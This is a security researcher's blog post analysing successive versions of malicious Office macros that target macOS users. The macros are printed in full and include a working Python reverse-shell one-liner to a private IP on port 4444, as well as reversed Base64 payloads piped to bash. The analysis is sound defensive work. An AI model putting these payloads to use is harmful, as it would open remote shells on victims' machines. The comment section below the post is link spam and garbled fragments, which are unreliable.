How Attackers Brush Up Their Malicious Scripts

Published: 2020-11-09
Last Updated: 2020-11-09 07:07:32 UTC
by Xavier Mertens (Version: 1)
0 comment(s)

On Friday, I received a bunch of alerts from one of my YARA hunting rules. Several samples were submitted from the same account (through the VT API), from the same country (US), and in a very short period of time. All the submitted files were OLE2 files containing a malicious macro. All of them had a low VT score so it deserved some investigations. I downloaded the samples and had a look at them.

Indeed all OLE2 files contained the same main() macro:

sub Autoexec()
    Call Main
End Sub

Sub Auto_Open()
    Call Main
End Sub

Sub AutoOpen()
    Call Main
End Sub

Sub Workbook_Open()
    Call Main
End Sub

I extracted the VBA code via oledump and reviewed them chronologically (based on the upload time on VT). Here is the first version of the macro:

Private Sub Main()
  Shell ("python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((""192.168.64.36"",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([""/bin/bash"",""-i""]);'")
End Sub

Nothing fancy, a simple macro based on a /bin/bash backdoor. The presence of Python code and the bash shell indicates that the macro is used in a targeted attack. Same remark for the RFC1918 IP address. The used port (4444) indicates probably the use of a Kali host by the attacker.

Then, the attacker added a notification popup (for debugging purposes?):

Private Sub Main()
    Shell ("python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((""192.168.64.36"",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([""/bin/bash"",""-i""]);'")
    Shell ("osascript -e 'display notification ""Macro execut<8e>e"" with title ""Microsoft Word"" '")
End Sub

'osascript' is a macOS tool that allows executing OSA scripts (AppleScript, JavaScript, etc.)[1]. We learned something new about the target: it uses a macOS device and the attacker speaks in French. We have this string in the OLE2 file:

Attribute VB_Name = "Feuil1" ("Feuille" means "Sheet")

Also, the displayed notification is in French/

Then the attacker another technique and tried to store the payload into the document comments:

Private Sub Main()
    Dim sc As String
    sc = ActiveDocument.BuiltInDocumentProperties("comments").Value
    Shell (sc)
End Sub

The next step was to obfuscate the payload by reversing the code and encoding in in Base64: 

Private Sub Main()
    Dim sc As String
    sc = ActiveDocument.BuiltInDocumentProperties("comments").Value
    sc = Right(sc, Len(sc) - 10)
    Shell ("echo """ & sc & """|rev|base64 -D|bash")
End Sub

Another version of the same technique:

Private Sub Main()
    Dim sc As String
    sc = ActiveDocument.BuiltInDocumentProperties("comments").Value
    Shell ("echo """ & sc & """|rev|base64 -D|bash")
End Sub

The next one is funnier: the attacker used the text2speech capabilities of macOS using the 'say' command. 

Private Sub Main()
    Shell ("echo ""KEDI5F2c""|rev|base64 -D|bash")
    Shell ("osascript -e 'display notification ""Macro execut<8e>e"" with title ""Microsoft Word"" '")
End Sub

And finally the latest version found with the Base64 data directly available in the macro:

Private Sub Main()
    Shell ("echo ""gCnsTKdJSatICLig2chJ2LulmYvIyWowGbhNmLzNXZj9mcwJWdz1Dc7kiMskCKv5WZslmZuMHKyAXdk5ycvByOpEDLpgybuVGbpZmLzhiMwVHZuM3bgsTKwwSKo8mblxWam5ycoIDc1RmLz92OpkCN0QDNsIiNz4CN24CO2EjLykTMigCK0NWZu52bj5yc7kSTBVkUUN1XLN0TT5Cdlt2YvNHLUVkTJ9lRB5Cdlt2YvNHK0V2aj92cuQXZrN2bz1zc7M3bsM3clN2byBnY1NHL0V2aj92cgQncvBXbpdCIj1CIu9Ga0lHc""|rev|base64 -D|bash")
    Shell ("osascript -e 'display notification ""Macro execut<8e>e"" with title ""Microsoft Word"" '")
End Sub

Note the Base64 data contains the same Python code as seen in the first version.

Based on all those findings, we can probably conclude that the attacker is preparing a macro to compromise a macOS user. Another red-team exercise on its way?

[1] https://osxdaily.com/2016/08/19/run-applescript-command-line-macos-osascript/

Xavier Mertens (@xme)
Senior ISC Handler - Freelance Cyber Security Consultant
PGP Key

0 comment(s)
ISC Stormcast For Monday, November 9th 2020 https://isc.sans.edu/podcastdetail.html?id=7244

Comments

What's this all about ..?
password reveal .
<a hreaf="https://technolytical.com/">the social network</a> is described as follows because they respect your privacy and keep your data secure:

<a hreaf="https://technolytical.com/">the social network</a> is described as follows because they respect your privacy and keep your data secure. The social networks are not interested in collecting data about you. They don't care about what you're doing, or what you like. They don't want to know who you talk to, or where you go.

<a hreaf="https://technolytical.com/">the social network</a> is not interested in collecting data about you. They don't care about what you're doing, or what you like. They don't want to know who you talk to, or where you go. The social networks only collect the minimum amount of information required for the service that they provide. Your personal information is kept private, and is never shared with other companies without your permission
https://thehomestore.com.pk/
<a hreaf="https://defineprogramming.com/the-public-bathroom-near-me-find-nearest-public-toilet/"> public bathroom near me</a>
<a hreaf="https://defineprogramming.com/the-public-bathroom-near-me-find-nearest-public-toilet/"> nearest public toilet to me</a>
<a hreaf="https://defineprogramming.com/the-public-bathroom-near-me-find-nearest-public-toilet/"> public bathroom near me</a>
<a hreaf="https://defineprogramming.com/the-public-bathroom-near-me-find-nearest-public-toilet/"> public bathroom near me</a>
<a hreaf="https://defineprogramming.com/the-public-bathroom-near-me-find-nearest-public-toilet/"> nearest public toilet to me</a>
<a hreaf="https://defineprogramming.com/the-public-bathroom-near-me-find-nearest-public-toilet/"> public bathroom near me</a>
https://defineprogramming.com/
https://defineprogramming.com/
Enter comment here... a fake TeamViewer page, and that page led to a different type of malware. This week's infection involved a downloaded JavaScript (.js) file that led to Microsoft Installer packages (.msi files) containing other script that used free or open source programs.
distribute malware. Even if the URL listed on the ad shows a legitimate website, subsequent ad traffic can easily lead to a fake page. Different types of malware are distributed in this manner. I've seen IcedID (Bokbot), Gozi/ISFB, and various information stealers distributed through fake software websites that were provided through Google ad traffic. I submitted malicious files from this example to VirusTotal and found a low rate of detection, with some files not showing as malware at all. Additionally, domains associated with this infection frequently change. That might make it hard to detect.
https://clickercounter.org/
Enter corthrthmment here...

Diary Archives